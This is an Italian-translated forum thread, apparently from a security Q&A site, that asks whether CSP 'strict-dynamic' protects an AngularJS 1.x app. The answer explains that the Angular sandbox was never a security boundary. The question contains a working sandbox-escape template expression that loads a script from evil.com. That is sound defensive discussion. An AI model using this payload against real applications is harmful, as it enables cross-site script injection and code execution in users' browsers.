Esiste un punto nell'utilizzo di 'strict-dynamic' in un'applicazione AngularJS 1.x?

2

Non vedo il punto nell'usare il nuovo strict-dynamic di CSP 3 nel caso di un'applicazione 1.x di AngularJS.

Per quanto ne so, l'utilizzo di strict-dynamic consente comunque l'iniezione arbitraria di Javascript tramite l'escape di una sandbox in un modello:

<html>
  <head>
    <title>Angular - Alert in Expression</title>
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script></head><bodyng-app="" ng-csp>
    <div>{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,a=document.createElement("script"),a.src="https://evil.com/evil.js",a.type="text/javascript",a=document.getElementsByTagName("head")[0].appendChild(a),a')}}</div>
  </body>
</html>

La cosa peggiore è che l'iniezione di script sopra è consentita da strict-dynamic , mentre un CSP% basato su host ragionevolescript-src lo bloccherebbe.

Quindi, c'è qualche ragione per usare strict-dynamic su un'applicazione che usa AngularJS?

    
posta Jean Hominal 28.09.2016 - 15:03
fonte

1 risposta

2

C'è un po 'di un problema di sicurezza fondamentale qui basato sul fatto che un attaccante può iniettare un'espressione angolare. Il progetto Angular stesso ha effettivamente affermato che la sandbox non è in realtà un meccanismo di sicurezza, nonostante il nome, e lo ha rimosso nelle versioni più recenti per evitare questa confusione:

link

Nel caso tu stia parlando, probabilmente lo definirei come funzionante come previsto, ma non necessariamente previsto. CSP sta proteggendo gli elementi dello script per garantire che vengano eseguiti solo quelli fidati, ma Angular (il tuo script attendibile) viene forzato a "interpretare" l'espressione in un modo conforme a CSP (se stai usando ng-csp) che produce il risultato equivalente dell'esecuzione dello script.

    
risposta data 29.09.2016 - 03:36
fonte

Leggi altre domande sui tag